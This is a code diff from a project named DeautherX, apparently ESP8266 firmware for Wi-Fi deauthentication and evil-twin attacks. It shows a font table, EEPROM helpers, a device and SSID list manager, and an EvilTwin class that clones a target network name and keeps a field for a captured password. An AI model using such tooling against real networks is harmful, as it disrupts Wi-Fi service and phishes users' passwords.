0x00, 0x00, 0xF8, 0x07, 0x02, 0x08, 0x01, 0x08, 0x01, 0x08, 0x02, 0x08, 0xF8, 0x07, // 219
|
||||
0x00, 0x00, 0xF8, 0x07, 0x02, 0x08, 0x00, 0x08, 0x00, 0x08, 0x02, 0x08, 0xF8, 0x07, // 220
|
||||
0x08, 0x00, 0x10, 0x00, 0x60, 0x00, 0x82, 0x0F, 0x61, 0x00, 0x10, 0x00, 0x08, // 221
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x10, 0x01, 0x10, 0x01, 0x10, 0x01, 0x10, 0x01, 0xE0, // 222
|
||||
0x00, 0x00, 0xF8, 0x0F, 0xE4, 0x00, 0xA4, 0x09, 0x18, 0x09, 0x00, 0x06, // 223
|
||||
0x00, 0x00, 0x40, 0x06, 0x20, 0x09, 0x24, 0x09, 0x28, 0x09, 0xC0, 0x0F, // 224
|
||||
0x00, 0x00, 0x40, 0x06, 0x20, 0x09, 0x28, 0x09, 0x24, 0x09, 0xC0, 0x0F, // 225
|
||||
0x00, 0x00, 0x40, 0x06, 0x28, 0x09, 0x24, 0x09, 0x24, 0x09, 0xC8, 0x0F, // 226
|
||||
0x00, 0x00, 0x40, 0x06, 0x2C, 0x09, 0x24, 0x09, 0x28, 0x09, 0xCC, 0x0F, // 227
|
||||
0x00, 0x00, 0x40, 0x06, 0x28, 0x09, 0x20, 0x09, 0x28, 0x09, 0xC0, 0x0F, // 228
|
||||
0x00, 0x00, 0x40, 0x06, 0x26, 0x09, 0x29, 0x09, 0x29, 0x09, 0xC6, 0x0F, // 229
|
||||
0x00, 0x00, 0x40, 0x0F, 0x20, 0x09, 0xC0, 0x07, 0x20, 0x09, 0xE0, 0x09, // 230
|
||||
0x00, 0x00, 0xC0, 0x07, 0x60, 0x0C, 0x20, 0x28, 0x20, 0x28, 0x40, 0x38, // 231
|
||||
0x00, 0x00, 0xC0, 0x07, 0x60, 0x09, 0x24, 0x09, 0x28, 0x09, 0xC0, 0x05, // 232
|
||||
0x00, 0x00, 0xC0, 0x07, 0x60, 0x09, 0x28, 0x09, 0x24, 0x09, 0xC0, 0x05, // 233
|
||||
0x00, 0x00, 0xC0, 0x07, 0x68, 0x09, 0x24, 0x09, 0x24, 0x09, 0xC8, 0x05, // 234
|
||||
0x00, 0x00, 0xC0, 0x07, 0x68, 0x09, 0x20, 0x09, 0x28, 0x09, 0xC0, 0x05, // 235
|
||||
0x00, 0x00, 0x20, 0x08, 0x20, 0x08, 0xE4, 0x0F, 0x08, 0x08, 0x00, 0x08, // 236
|
||||
0x00, 0x00, 0x20, 0x08, 0x20, 0x08, 0xE8, 0x0F, 0x04, 0x08, 0x00, 0x08, // 237
|
||||
0x00, 0x00, 0x28, 0x08, 0x24, 0x08, 0xE4, 0x0F, 0x08, 0x08, 0x00, 0x08, // 238
|
||||
0x00, 0x00, 0x20, 0x08, 0x28, 0x08, 0xE0, 0x0F, 0x08, 0x08, 0x00, 0x08, // 239
|
||||
0x00, 0x00, 0x80, 0x07, 0x54, 0x08, 0x58, 0x08, 0x68, 0x08, 0xC0, 0x07, // 240
|
||||
0x00, 0x00, 0xE0, 0x0F, 0x4C, 0x00, 0x24, 0x00, 0x28, 0x00, 0xCC, 0x0F, // 241
|
||||
0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x24, 0x08, 0x28, 0x08, 0xC0, 0x07, // 242
|
||||
0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x28, 0x08, 0x24, 0x08, 0xC0, 0x07, // 243
|
||||
0x00, 0x00, 0xC0, 0x07, 0x28, 0x08, 0x24, 0x08, 0x28, 0x08, 0xC0, 0x07, // 244
|
||||
0x00, 0x00, 0xCC, 0x07, 0x24, 0x08, 0x2C, 0x08, 0x28, 0x08, 0xCC, 0x07, // 245
|
||||
0x00, 0x00, 0xC0, 0x07, 0x28, 0x08, 0x20, 0x08, 0x28, 0x08, 0xC0, 0x07, // 246
|
||||
0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x40, 0x05, 0x00, 0x01, 0x00, 0x01, // 247
|
||||
0x00, 0x00, 0xC0, 0x0F, 0x20, 0x0A, 0x20, 0x09, 0xA0, 0x08, 0xE0, 0x07, // 248
|
||||
0x00, 0x00, 0xE0, 0x07, 0x00, 0x08, 0x04, 0x08, 0x08, 0x08, 0xE0, 0x0F, // 249
|
||||
0x00, 0x00, 0xE0, 0x07, 0x00, 0x08, 0x08, 0x08, 0x04, 0x08, 0xE0, 0x0F, // 250
|
||||
0x00, 0x00, 0xE0, 0x07, 0x08, 0x08, 0x04, 0x08, 0x08, 0x08, 0xE0, 0x0F, // 251
|
||||
0x00, 0x00, 0xE0, 0x07, 0x08, 0x08, 0x00, 0x08, 0x08, 0x08, 0xE0, 0x0F, // 252
|
||||
0x00, 0x00, 0x60, 0x40, 0x80, 0x67, 0x08, 0x1C, 0x84, 0x03, 0x60, // 253
|
||||
0x00, 0x00, 0xFC, 0x7F, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07, // 254
|
||||
0x00, 0x00, 0x60, 0x40, 0x88, 0x67, 0x00, 0x1C, 0x88, 0x03, 0x60 // 255
|
||||
};
|
||||
62
DeautherX/EEPROMHelper.h
Normal file
62
DeautherX/EEPROMHelper.h
Normal file
@@ -0,0 +1,62 @@
|
||||
/* This software is licensed under the MIT License: https://github.com/BlackTechX011/DeautherX */
|
||||
|
||||
#pragma once
|
||||
|
||||
// ========== Includes ========== //
|
||||
#include <EEPROM.h>
|
||||
|
||||
// ========== Boot Counter Structure ========== //
|
||||
|
||||
// Used for memory verificaiton
|
||||
#define BOOT_MAGIC_NUM 1234567890
|
||||
|
||||
typedef struct boot {
|
||||
unsigned int magic_num : 32;
|
||||
unsigned int boot_num : 8;
|
||||
} boot;
|
||||
|
||||
// ========== EEPROM Helper Class ========== //
|
||||
class EEPROMHelper {
|
||||
public:
|
||||
static void begin(const int eepromSize) {
|
||||
EEPROM.begin(eepromSize);
|
||||
}
|
||||
|
||||
static void end() {
|
||||
EEPROM.end();
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
static void saveObject(const int address, const T& t) {
|
||||
EEPROM.put(address, t);
|
||||
|
||||
EEPROM.commit();
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
static void getObject(const int address, const T& t) {
|
||||
EEPROM.get(address, t);
|
||||
}
|
||||
|
||||
static bool checkBootNum(const int address) {
|
||||
boot b;
|
||||
|
||||
EEPROM.get(address, b);
|
||||
|
||||
if ((b.magic_num == BOOT_MAGIC_NUM) && (b.boot_num < 3)) {
|
||||
saveObject(address, boot{ BOOT_MAGIC_NUM, ++b.boot_num });
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
static void resetBootNum(const int address) {
|
||||
saveObject(address, boot{ BOOT_MAGIC_NUM, 1 });
|
||||
}
|
||||
|
||||
static void format(unsigned long size) {
|
||||
for (unsigned long i = 0; i<size; i++) EEPROM.write(i, 0x00);
|
||||
EEPROM.commit();
|
||||
}
|
||||
};
|
||||
41
DeautherX/EvilTwin.cpp
Normal file
41
DeautherX/EvilTwin.cpp
Normal file
@@ -0,0 +1,41 @@
|
||||
#include "EvilTwin.h"
|
||||
#include "ESP8266WiFi.h"
|
||||
#include "DNSServer.h"
|
||||
#include "ESP8266WebServer.h"
|
||||
#include "settings.h"
|
||||
|
||||
#include "wifi.h"
|
||||
#include "language.h"
|
||||
|
||||
String EvilTwin::ssidT = "";
|
||||
String EvilTwin::pass = "";
|
||||
String EvilTwin::passTesting = "";
|
||||
|
||||
void EvilTwin::start(const char* ap) {
|
||||
EvilTwin::ssidT = ap;
|
||||
EvilTwin::pass = "";
|
||||
wifi::stopAP();
|
||||
wifi::startEvilTwin(ap);
|
||||
Serial.println("Starting Evil Twin [" + str(ap) + "]");
|
||||
}
|
||||
|
||||
void EvilTwin::stop() {
|
||||
wifi::stopAP();
|
||||
wifi::startAP();
|
||||
Serial.println("Stoping Evil Twin...");
|
||||
}
|
||||
|
||||
String EvilTwin::getpass() {
|
||||
return EvilTwin::pass;
|
||||
}
|
||||
|
||||
String EvilTwin::getpassTesting() {
|
||||
return EvilTwin::passTesting;
|
||||
}
|
||||
|
||||
bool EvilTwin::isRunning() {
|
||||
return WiFi.softAPSSID() == EvilTwin::ssidT;
|
||||
}
|
||||
|
||||
void EvilTwin::update(){
|
||||
}
|
||||
25
DeautherX/EvilTwin.h
Normal file
25
DeautherX/EvilTwin.h
Normal file
@@ -0,0 +1,25 @@
|
||||
#ifndef EVIL_TWIN_H
|
||||
#define EVIL_TWIN_H
|
||||
|
||||
#include <Arduino.h> // Add this line to include the necessary header for String
|
||||
#include "ESP8266WiFi.h"
|
||||
#include "DNSServer.h"
|
||||
#include "ESP8266WebServer.h"
|
||||
|
||||
class EvilTwin {
|
||||
public:
|
||||
static String ssidT;
|
||||
static String pass;
|
||||
static String passTesting;
|
||||
|
||||
static void start(const char* ap);
|
||||
static void stop();
|
||||
static String getpass();
|
||||
static String getpassTesting();
|
||||
|
||||
|
||||
static bool isRunning();
|
||||
static void update();
|
||||
};
|
||||
|
||||
#endif
|
||||
519
DeautherX/Names.cpp
Normal file
519
DeautherX/Names.cpp
Normal file
@@ -0,0 +1,519 @@
|
||||
/* This software is licensed under the MIT License: https://github.com/BlackTechX011/DeautherX */
|
||||
|
||||
#include "Names.h"
|
||||
|
||||
#include <LittleFS.h>
|
||||
|
||||
Names::Names() {
|
||||
list = new SimpleList<Device>;
|
||||
}
|
||||
|
||||
void Names::load() {
|
||||
internal_removeAll();
|
||||
|
||||
DynamicJsonBuffer jsonBuffer(4000);
|
||||
|
||||
checkFile(FILE_PATH, String(OPEN_BRACKET) + String(CLOSE_BRACKET));
|
||||
JsonArray& arr = parseJSONFile(FILE_PATH, jsonBuffer);
|
||||
|
||||
for (uint32_t i = 0; i < arr.size() && i < NAME_LIST_SIZE; i++) {
|
||||
JsonArray& tmpArray = arr.get<JsonVariant>(i);
|
||||
internal_add(tmpArray.get<String>(0), tmpArray.get<String>(2), tmpArray.get<String>(3), tmpArray.get<uint8_t>(
|
||||
4), false);
|
||||
sort();
|
||||
}
|
||||
|
||||
prnt(N_LOADED);
|
||||
prntln(FILE_PATH);
|
||||
}
|
||||
|
||||
void Names::load(String filepath) {
|
||||
String tmp = FILE_PATH;
|
||||
|
||||
FILE_PATH = filepath;
|
||||
load();
|
||||
FILE_PATH = tmp;
|
||||
}
|
||||
|
||||
void Names::save(bool force) {
|
||||
if (!force && !changed) {
|
||||
return;
|
||||
|
||||
prntln(N_SAVED);
|
||||
}
|
||||
|
||||
String buf = String(OPEN_BRACKET); // [
|
||||
|
||||
if (!writeFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
buf = String();
|
||||
|
||||
String name;
|
||||
int c = count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
name = escape(getName(i));
|
||||
|
||||
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + getMacStr(i) + String(DOUBLEQUOTES) + String(COMMA); // ["00:11:22:00:11:22",
|
||||
buf += String(DOUBLEQUOTES) + getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor",
|
||||
buf += String(DOUBLEQUOTES) + name + String(DOUBLEQUOTES) + String(COMMA); // "name",
|
||||
buf += String(DOUBLEQUOTES) + getBssidStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "00:11:22:00:11:22",
|
||||
buf += String(getCh(i)) + String(COMMA); // 1,
|
||||
buf += b2s(getSelected(i)) + String(CLOSE_BRACKET); // false]
|
||||
|
||||
if (i < c - 1) buf += COMMA; // ,
|
||||
|
||||
if (buf.length() >= 1024) {
|
||||
if (!appendFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
buf = String();
|
||||
}
|
||||
}
|
||||
|
||||
buf += String(CLOSE_BRACKET); // ]
|
||||
|
||||
if (!appendFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
prnt(N_SAVED);
|
||||
prntln(FILE_PATH);
|
||||
changed = false;
|
||||
}
|
||||
|
||||
void Names::save(bool force, String filepath) {
|
||||
String tmp = FILE_PATH;
|
||||
|
||||
FILE_PATH = filepath;
|
||||
save(force);
|
||||
FILE_PATH = tmp;
|
||||
}
|
||||
|
||||
void Names::sort() {
|
||||
list->setCompare([](Device& a, Device& b) -> int {
|
||||
return memcmp(a.mac, b.mac, 6);
|
||||
});
|
||||
list->sort();
|
||||
}
|
||||
|
||||
void Names::removeAll() {
|
||||
internal_removeAll();
|
||||
prntln(N_REMOVED_ALL);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
bool Names::check(int num) {
|
||||
if (internal_check(num)) return true;
|
||||
|
||||
prnt(N_ERROR_NOT_FOUND);
|
||||
prntln(num);
|
||||
return false;
|
||||
}
|
||||
|
||||
int Names::findID(uint8_t* mac) {
|
||||
for (int i = 0; i < list->size(); i++) {
|
||||
if (memcmp(mac, list->get(i).mac, 6) == 0) return i;
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
String Names::find(uint8_t* mac) {
|
||||
int num = findID(mac);
|
||||
|
||||
if (num >= 0) return getName(num);
|
||||
else return String();
|
||||
}
|
||||
|
||||
void Names::print(int num) {
|
||||
print(num, true, true);
|
||||
}
|
||||
|
||||
void Names::print(int num, bool header, bool footer) {
|
||||
if (!check(num)) return;
|
||||
|
||||
if (header) {
|
||||
prntln(N_TABLE_HEADER);
|
||||
prntln(N_TABLE_DIVIDER);
|
||||
}
|
||||
|
||||
prnt(leftRight(String(), (String)num, 2));
|
||||
prnt(leftRight(String(SPACE) + getMacStr(num), String(), 18));
|
||||
prnt(leftRight(String(SPACE) + getVendorStr(num), String(), 9));
|
||||
prnt(leftRight(String(SPACE) + getName(num), String(), 17));
|
||||
prnt(leftRight(String(SPACE) + getBssidStr(num), String(), 18));
|
||||
prnt(leftRight(String(SPACE), (String)getCh(num), 3));
|
||||
prntln(leftRight(String(SPACE) + getSelectedStr(num), String(), 9));
|
||||
|
||||
if (footer) prntln(N_TABLE_DIVIDER);
|
||||
}
|
||||
|
||||
void Names::printAll() {
|
||||
prntln(N_HEADER);
|
||||
int c = count();
|
||||
|
||||
if (c == 0) prntln(N_ERROR_LIST_EMPTY);
|
||||
else
|
||||
for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);
|
||||
}
|
||||
|
||||
void Names::printSelected() {
|
||||
prntln(N_TABLE_HEADER);
|
||||
int max = selected();
|
||||
int c = count();
|
||||
|
||||
if (max == 0) {
|
||||
prntln(N_ERROR_NO_SELECTED);
|
||||
return;
|
||||
}
|
||||
|
||||
for (int i = 0, j = 0; i < c && j < max; i++) {
|
||||
if (getSelected(i)) {
|
||||
print(i, j == 0, j == max - 1);
|
||||
j++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Names::add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected, bool force) {
|
||||
if (count() >= NAME_LIST_SIZE) {
|
||||
if (force) internal_remove(0);
|
||||
else {
|
||||
prntln(N_ERROR_LIST_FULL);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH);
|
||||
|
||||
internal_add(mac, name, bssid, ch, selected);
|
||||
sort();
|
||||
|
||||
prnt(N_ADDED);
|
||||
prntln(name);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Names::add(String macStr, String name, String bssidStr, uint8_t ch, bool selected, bool force) {
|
||||
if (count() >= NAME_LIST_SIZE) {
|
||||
if (force) internal_remove(0);
|
||||
else {
|
||||
prntln(N_ERROR_LIST_FULL);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH);
|
||||
|
||||
internal_add(macStr, name, bssidStr, ch, selected);
|
||||
sort();
|
||||
|
||||
prnt(N_ADDED);
|
||||
prntln(name);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Names::replace(int num, String macStr, String name, String bssidStr, uint8_t ch, bool selected) {
|
||||
if (!check(num)) return;
|
||||
|
||||
remove(num);
|
||||
|
||||
internal_add(macStr, name, bssidStr, ch, selected);
|
||||
sort();
|
||||
prnt(N_REPLACED);
|
||||
prntln(name);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Names::remove(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
prnt(N_REMOVED);
|
||||
prntln(getName(num));
|
||||
internal_remove(num);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Names::setName(int num, String name) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_add(getMac(num), name, getBssid(num), getCh(num), getSelected(num));
|
||||
|
||||
prntln(N_CHANGED_NAME);
|
||||
|
||||
internal_remove(num);
|
||||
sort();
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Names::setMac(int num, String macStr) {
|
||||
if (!check(num)) return;
|
||||
|
||||
uint8_t mac[6];
|
||||
|
||||
strToMac(macStr, mac);
|
||||
internal_add(mac, getName(num), getBssid(num), getCh(num), getSelected(num));
|
||||
prntln(N_CHANGED_MAC);
|
||||
internal_remove(num);
|
||||
sort();
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Names::setCh(int num, uint8_t ch) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_add(getMac(num), getName(num), getBssid(num), ch, getSelected(num));
|
||||
prntln(N_CHANGED_CH);
|
||||
internal_remove(num);
|
||||
sort();
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Names::setBSSID(int num, String bssidStr) {
|
||||
if (!check(num)) return;
|
||||
|
||||
uint8_t mac[6];
|
||||
|
||||
strToMac(bssidStr, mac);
|
||||
internal_add(getMac(num), getName(num), mac, getCh(num), getSelected(num));
|
||||
prntln(N_CHANGED_BSSID);
|
||||
internal_remove(num);
|
||||
sort();
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Names::select(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_select(num);
|
||||
prnt(N_SELECTED);
|
||||
prntln(getName(num));
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Names::select(String name) {
|
||||
int c = count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
if (getName(i).equals(name)) {
|
||||
select(i);
|
||||
return;
|
||||
}
|
||||
}
|
||||
prnt(N_ERROR_NOT_FOUND);
|
||||
prntln(name);
|
||||
}
|
||||
|
||||
void Names::deselect(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_deselect(num);
|
||||
prnt(N_DESELECTED);
|
||||
prntln(getName(num));
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Names::deselect(String name) {
|
||||
int c = count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
if (getName(i).equals(name)) {
|
||||
deselect(i);
|
||||
return;
|
||||
}
|
||||
}
|
||||
prnt(N_ERROR_NOT_FOUND);
|
||||
prnt(name);
|
||||
}
|
||||
|
||||
void Names::selectAll() {
|
||||
int c = count();
|
||||
|
||||
for (int i = 0; i < c; i++) internal_select(i);
|
||||
prntln(N_SELECTED_ALL);
|
||||
}
|
||||
|
||||
void Names::deselectAll() {
|
||||
int c = count();
|
||||
|
||||
for (int i = 0; i < c; i++) internal_deselect(i);
|
||||
prntln(N_DESELECTED_ALL);
|
||||
}
|
||||
|
||||
uint8_t* Names::getMac(int num) {
|
||||
if (!check(num)) return NULL;
|
||||
|
||||
return list->get(num).mac;
|
||||
}
|
||||
|
||||
uint8_t* Names::getBssid(int num) {
|
||||
if (!check(num)) return NULL;
|
||||
|
||||
return list->get(num).apBssid;
|
||||
}
|
||||
|
||||
String Names::getMacStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
uint8_t* mac = getMac(num);
|
||||
|
||||
return bytesToStr(mac, 6);
|
||||
}
|
||||
|
||||
String Names::getVendorStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
return searchVendor(list->get(num).mac);
|
||||
}
|
||||
|
||||
String Names::getBssidStr(int num) {
|
||||
String value;
|
||||
|
||||
if (getBssid(num) != NULL) {
|
||||
uint8_t* mac = getBssid(num);
|
||||
|
||||
for (int i = 0; i < 6; i++) {
|
||||
if (mac[i] < 0x10) value += ZERO;
|
||||
value += String(mac[i], HEX);
|
||||
|
||||
if (i < 5) value += DOUBLEPOINT;
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
String Names::getName(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
return String(list->get(num).name);
|
||||
}
|
||||
|
||||
String Names::getSelectedStr(int num) {
|
||||
return b2a(getSelected(num));
|
||||
}
|
||||
|
||||
uint8_t Names::getCh(int num) {
|
||||
if (!check(num)) return 1;
|
||||
|
||||
return list->get(num).ch;
|
||||
}
|
||||
|
||||
bool Names::getSelected(int num) {
|
||||
if (!check(num)) return false;
|
||||
|
||||
return list->get(num).selected;
|
||||
}
|
||||
|
||||
bool Names::isStation(int num) {
|
||||
return getBssid(num) != NULL;
|
||||
}
|
||||
|
||||
int Names::count() {
|
||||
return list->size();
|
||||
}
|
||||
|
||||
int Names::selected() {
|
||||
int num = 0;
|
||||
|
||||
for (int i = 0; i < count(); i++)
|
||||
if (getSelected(i)) num++;
|
||||
return num;
|
||||
}
|
||||
|
||||
int Names::stations() {
|
||||
int num = 0;
|
||||
|
||||
for (int i = 0; i < count(); i++)
|
||||
if (isStation(i)) num++;
|
||||
return num;
|
||||
}
|
||||
|
||||
bool Names::internal_check(int num) {
|
||||
return num >= 0 && num < count();
|
||||
}
|
||||
|
||||
void Names::internal_select(int num) {
|
||||
Device newDevice = list->get(num);
|
||||
|
||||
newDevice.selected = true;
|
||||
list->replace(num, newDevice);
|
||||
}
|
||||
|
||||
void Names::internal_deselect(int num) {
|
||||
Device newDevice = list->get(num);
|
||||
|
||||
newDevice.selected = false;
|
||||
list->replace(num, newDevice);
|
||||
}
|
||||
|
||||
void Names::internal_add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected) {
|
||||
uint8_t* deviceMac = (uint8_t*)malloc(6);
|
||||
|
||||
if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH);
|
||||
char* deviceName = (char*)malloc(name.length() + 1);
|
||||
uint8_t* deviceBssid = NULL;
|
||||
|
||||
name = fixUtf8(name);
|
||||
|
||||
memcpy(deviceMac, mac, 6);
|
||||
strcpy(deviceName, name.c_str());
|
||||
|
||||
if (bssid) {
|
||||
deviceBssid = (uint8_t*)malloc(6);
|
||||
memcpy(deviceBssid, bssid, 6);
|
||||
}
|
||||
|
||||
if ((ch < 1) || (ch > 14)) ch = 1;
|
||||
|
||||
Device newDevice;
|
||||
|
||||
newDevice.mac = deviceMac;
|
||||
newDevice.name = deviceName;
|
||||
newDevice.apBssid = deviceBssid;
|
||||
newDevice.ch = ch;
|
||||
newDevice.selected = selected;
|
||||
|
||||
list->add(newDevice);
|
||||
}
|
||||
|
||||
void Names::internal_add(String macStr, String name, String bssidStr, uint8_t ch, bool selected) {
|
||||
uint8_t mac[6];
|
||||
|
||||
if (!strToMac(macStr, mac)) return;
|
||||
|
||||
if (bssidStr.length() == 17) {
|
||||
uint8_t bssid[6];
|
||||
strToMac(bssidStr, bssid);
|
||||
internal_add(mac, name, bssid, ch, selected);
|
||||
} else {
|
||||
internal_add(mac, name, NULL, ch, selected);
|
||||
}
|
||||
}
|
||||
|
||||
void Names::internal_remove(int num) {
|
||||
free(list->get(num).mac);
|
||||
free(list->get(num).name);
|
||||
|
||||
if (list->get(num).apBssid) free(list->get(num).apBssid);
|
||||
list->remove(num);
|
||||
}
|
||||
|
||||
void Names::internal_removeAll() {
|
||||
while (count() > 0) {
|
||||
free(list->get(0).mac);
|
||||
free(list->get(0).name);
|
||||
|
||||
if (list->get(0).apBssid) free(list->get(0).apBssid);
|
||||
list->remove(0);
|
||||
}
|
||||
}
|
||||
101
DeautherX/Names.h
Normal file
101
DeautherX/Names.h
Normal file
@@ -0,0 +1,101 @@
|
||||
/* This software is licensed under the MIT License: https://github.com/BlackTechX011/DeautherX */
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <ESP8266WiFi.h>
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "src/ArduinoJson-v5.13.5/ArduinoJson.h"
|
||||
#include "language.h"
|
||||
#include "SimpleList.h"
|
||||
|
||||
#define NAME_LIST_SIZE 25
|
||||
#define NAME_MAX_LENGTH 17
|
||||
|
||||
extern void checkFile(String path, String data);
|
||||
extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer);
|
||||
extern bool writeFile(String path, String& buf);
|
||||
extern bool appendFile(String path, String& buf);
|
||||
extern bool strToMac(String macStr, uint8_t* mac);
|
||||
extern String searchVendor(uint8_t* mac);
|
||||
extern String fixUtf8(String str);
|
||||
extern String leftRight(String a, String b, int len);
|
||||
extern String escape(String str);
|
||||
extern String bytesToStr(const uint8_t* b, uint32_t size);
|
||||
|
||||
class Names {
|
||||
public:
|
||||
Names();
|
||||
|
||||
void load();
|
||||
void load(String filepath);
|
||||
void save(bool force);
|
||||
void save(bool force, String filepath);
|
||||
void sort();
|
||||
|
||||
String find(uint8_t* mac);
|
||||
int findID(uint8_t* mac);
|
||||
|
||||
void print(int num);
|
||||
void print(int num, bool header, bool footer);
|
||||
void select(int num);
|
||||
void select(String name);
|
||||
void deselect(int num);
|
||||
void deselect(String name);
|
||||
void add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected, bool force);
|
||||
void add(String macStr, String name, String bssidStr, uint8_t ch, bool selected, bool force);
|
||||
void replace(int num, String macStr, String name, String bssidStr, uint8_t ch, bool selected);
|
||||
void remove(int num);
|
||||
|
||||
void printAll();
|
||||
void printSelected();
|
||||
void selectAll();
|
||||
void deselectAll();
|
||||
void removeAll();
|
||||
|
||||
uint8_t* getMac(int num);
|
||||
uint8_t* getBssid(int num);
|
||||
String getMacStr(int num);
|
||||
String getBssidStr(int num);
|
||||
String getName(int num);
|
||||
String getVendorStr(int num);
|
||||
String getSelectedStr(int num);
|
||||
uint8_t getCh(int num);
|
||||
bool getSelected(int num);
|
||||
bool isStation(int num);
|
||||
|
||||
void setName(int num, String name);
|
||||
void setMac(int num, String macStr);
|
||||
void setCh(int num, uint8_t ch);
|
||||
void setBSSID(int num, String bssidStr);
|
||||
|
||||
int count();
|
||||
int selected();
|
||||
int stations();
|
||||
|
||||
bool check(int num);
|
||||
|
||||
private:
|
||||
String FILE_PATH = "/names.json";
|
||||
bool changed = false;
|
||||
|
||||
struct Device {
|
||||
uint8_t* mac; // mac address
|
||||
char * name; // name of saved device
|
||||
uint8_t* apBssid; // mac address of AP (if saved device is a station)
|
||||
uint8_t ch; // Wi-Fi channel of Device
|
||||
bool selected; // select for attacking
|
||||
};
|
||||
|
||||
SimpleList<Device>* list;
|
||||
|
||||
int binSearch(uint8_t* searchBytes, int lowerEnd, int upperEnd);
|
||||
bool internal_check(int num);
|
||||
void internal_select(int num);
|
||||
void internal_deselect(int num);
|
||||
void internal_add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected);
|
||||
void internal_add(String macStr, String name, String bssidStr, uint8_t ch, bool selected);
|
||||
void internal_remove(int num);
|
||||
void internal_removeAll();
|
||||
};
|
||||
322
DeautherX/SSIDs.cpp
Normal file
322
DeautherX/SSIDs.cpp
Normal file
@@ -0,0 +1,322 @@
|
||||
/* This software is licensed under the MIT License: https://github.com/BlackTechX011/DeautherX */
|
||||
|
||||
#include "SSIDs.h"
|
||||
|
||||
#include <LittleFS.h>
|
||||
#include "settings.h"
|
||||
|
||||
SSIDs::SSIDs() {
|
||||
list = new SimpleList<SSID>;
|
||||
}
|
||||
|
||||
void SSIDs::load() {
|
||||
internal_removeAll();
|
||||
DynamicJsonBuffer jsonBuffer(4000);
|
||||
|
||||
checkFile(FILE_PATH, str(SS_JSON_DEFAULT));
|
||||
JsonObject& obj = parseJSONFile(FILE_PATH, jsonBuffer);
|
||||
JsonArray & arr = obj.get<JsonArray>(str(SS_JSON_SSIDS));
|
||||
|
||||
for (uint32_t i = 0; i < arr.size() && i < SSID_LIST_SIZE; i++) {
|
||||
JsonArray& tmpArray = arr.get<JsonVariant>(i);
|
||||
internal_add(tmpArray.get<String>(0), tmpArray.get<bool>(1), tmpArray.get<int>(2));
|
||||
}
|
||||
|
||||
prnt(SS_LOADED);
|
||||
prntln(FILE_PATH);
|
||||
}
|
||||
|
||||
void SSIDs::load(String filepath) {
|
||||
String tmp = FILE_PATH;
|
||||
|
||||
FILE_PATH = filepath;
|
||||
load();
|
||||
FILE_PATH = tmp;
|
||||
}
|
||||
|
||||
void SSIDs::removeAll() {
|
||||
internal_removeAll();
|
||||
prntln(SS_CLEARED);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void SSIDs::save(bool force) {
|
||||
if (!force && !changed) return;
|
||||
|
||||
String buf = String(); // create buffer
|
||||
|
||||
buf += String(OPEN_CURLY_BRACKET) + String(DOUBLEQUOTES) + str(SS_JSON_RANDOM) + String(DOUBLEQUOTES) + String(
|
||||
DOUBLEPOINT) + b2s(randomMode) + String(COMMA); // {"random":false,
|
||||
